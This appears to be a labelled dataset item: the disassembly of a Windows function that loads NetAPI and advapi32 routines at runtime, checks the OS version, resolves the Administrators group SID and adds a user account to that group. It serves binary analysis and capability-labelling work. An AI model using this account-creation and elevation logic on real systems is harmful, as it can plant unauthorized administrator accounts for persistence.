Function at 0x4067e0
Capabilities:
Check os version
Link many functions at runtime

Disassembly:
sub esp, 0xf8
push ebx
push edi
xor ebx, ebx
push str.Netapi32.dll
mov dword [esp + 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x44], edi
jne 0x406812
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop ebx
add esp, 0xf8
ret
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NetApiBufferFree
push edi
call esi
push str.NetUserAdd
mov ebp, eax
push edi
mov dword [esp + 0x44], ebp
call esi
push str.NetUserGetInfo
push edi
mov dword [esp + 0x24], eax
call esi
push str.NetUserSetInfo
push edi
mov dword [esp + 0x3c], eax
call esi
push str.NetLocalGroupAddMembers
push edi
mov dword [esp + 0x4c], eax
call esi
cmp ebp, ebx
mov dword [esp + 0x38], eax
je 0x406c12
cmp dword [esp + 0x1c], ebx
je 0x406c12
cmp dword [esp + 0x34], ebx
je 0x406c12
cmp dword [esp + 0x44], ebx
je 0x406c12
cmp eax, ebx
je 0x406c12
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [esp + 0x28], eax
jne 0x4068b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop esi
pop ebp
pop edi
pop ebx
add esp, 0xf8
ret
push str.LookupAccountNameW
push eax
call esi
mov ebp, eax
mov eax, dword [esp + 0x28]
push str.LookupAccountSidW
push eax
call esi
mov ecx, dword [esp + 0x28]
push str.AllocateAndInitializeSid
push ecx
mov dword [esp + 0x50], eax
call esi
cmp ebp, ebx
mov dword [esp + 0x50], eax
je 0x406bf2
cmp dword [esp + 0x48], ebx
je 0x406bf2
cmp eax, ebx
je 0x406bf2
mov ecx, dword [esp + 0x110]
xor edx, edx
mov esi, dword [esp + 0x10c]
mov dword [esp + 0x54], edx
mov dword [esp + 0x58], edx
mov dword [esp + 0x5c], edx
mov dword [esp + 0x60], edx
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], edx
mov dword [esp + 0x6c], edx
mov dword [esp + 0x70], edx
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x5c], ecx
mov eax, 1
lea ecx, [esp + 0x58]
push ecx
push eax
push ebx
mov dword [esp + 0x64], esi
mov dword [esp + 0x70], eax
mov dword [esp + 0x7c], eax
call dword [esp + 0x2c]
cmp eax, ebx
jne 0x406bcf
mov edx, dword [esp + 0x114]
xor edi, edi
cmp word [edx], bx
je 0x406b81
lea eax, [esp + 0x74]
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x78], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x78]
cmp eax, 5
mov dword [esp + 0x20], ebx
ja 0x406a36
jne 0x4069a1
cmp dword [esp + 0x7c], 1
jae 0x406a36
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x18]
push edx
push ebx
lea eax, [esp + 0x24]
push eax
push ebx
push esi
push ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], ebx
call ebp
cmp eax, ebx
jne 0x4069d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x406a58
mov ecx, dword [esp + 0x18]
push ecx
call fcn.00459619
mov edx, dword [esp + 0x18]
mov dword [esp + 0x14], eax
lea eax, [edx + edx]
push eax
call fcn.00459619
add esp, 8
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
mov edx, dword [esp + 0x114]
mov esi, eax
push esi
lea eax, [esp + 0x24]
push eax
push ecx
push edx
push ebx
call ebp
test eax, eax
je 0x406a1f
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], eax
jmp 0x406a27
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
cmp esi, ebx
je 0x406a5a
push esi
call fcn.0045932f
add esp, 4
jmp 0x406a5a
mov edx, dword [esp + 0x54]
lea ecx, [esp + 0x1c]
push ecx
push 0x17
push edx
push ebx
call dword [esp + 0x44]
cmp eax, ebx
jne 0x406a58
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x10]
mov dword [esp + 0x20], ecx
jmp 0x406a62
mov edi, eax
cmp edi, ebx
jne 0x406b63
cmp dword [esp + 0x20], ebx
je 0x406b63
mov esi, dword [esp + 0x114]
mov ebp, dword [esp + 0x38]
push 1
lea edx, [esp + 0x24]
push edx
push ebx
push esi
push ebx
call ebp
test eax, eax
jne 0x406a8e
xor edi, edi
jmp 0x406b63
lea eax, [esp + 0x24]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push str.Administrators
push esi
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], bl
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], bl
mov byte [esp + 0x55], 5
call fcn.00467be0
add esp, 8
neg eax
sbb eax, eax
neg eax
add eax, 0x220
push eax
push 0x20
push 2
lea ecx, [esp + 0x54]
push ecx
call dword [esp + 0x7c]
test eax, eax
je 0x406b5b
mov edi, dword [esp + 0x48]
lea edx, [esp + 0x38]
push edx
mov edx, dword [esp + 0x28]
lea eax, [esp + 0x1c]
push eax
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
push edx
push ebx
call edi
cmp eax, ebx
jne 0x406b11
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x406b61
mov eax, dword [esp + 0x14]
lea ecx, [eax + eax]
push ecx
call fcn.00459619
mov edx, dword [esp + 0x1c]
mov esi, eax
lea eax, [edx + edx]
push eax
call fcn.00459619
add esp, 8
lea ecx, [esp + 0x38]
push ecx
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x1c]
push edx
push eax
lea eax, [esp + 0x20]
push eax
push esi
push ecx
push ebx
call edi
test eax, eax
je 0x406b5b
push 1
lea edx, [esp + 0x24]
push edx
push ebx
push esi
push ebx
call ebp
jmp 0x406b61
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov eax, dword [esp + 0x1c]
cmp eax, ebx
je 0x406b70
push eax
call dword [esp + 0x40]
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x406b81
push eax
call fcn.0045932f
add esp, 4
mov esi, dword [esp + 0x118]
cmp esi, ebx
je 0x406bd1
mov ecx, dword [esp + 0x54]
lea eax, [esp + 0x10]
push eax
push 2
push ecx
push ebx
mov dword [esp + 0x20], ebx
call dword [esp + 0x44]
test eax, eax
jne 0x406bc0
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x40]
push eax
mov dword [edx + 0x3c], esi
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
push eax
push 2
push ecx
push ebx
call dword [esp + 0x58]
mov eax, dword [esp + 0x10]
cmp eax, ebx
je 0x406bd1
push eax
call dword [esp + 0x40]
jmp 0x406bd1
mov edi, eax
mov edx, dword [esp + 0x4c]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edx
call esi
mov eax, dword [esp + 0x28]
push eax
call esi
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
add esp, 0xf8
ret
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
call esi
mov ecx, dword [esp + 0x28]
push ecx
call esi
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0xf8
ret
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
add esp, 0xf8
ret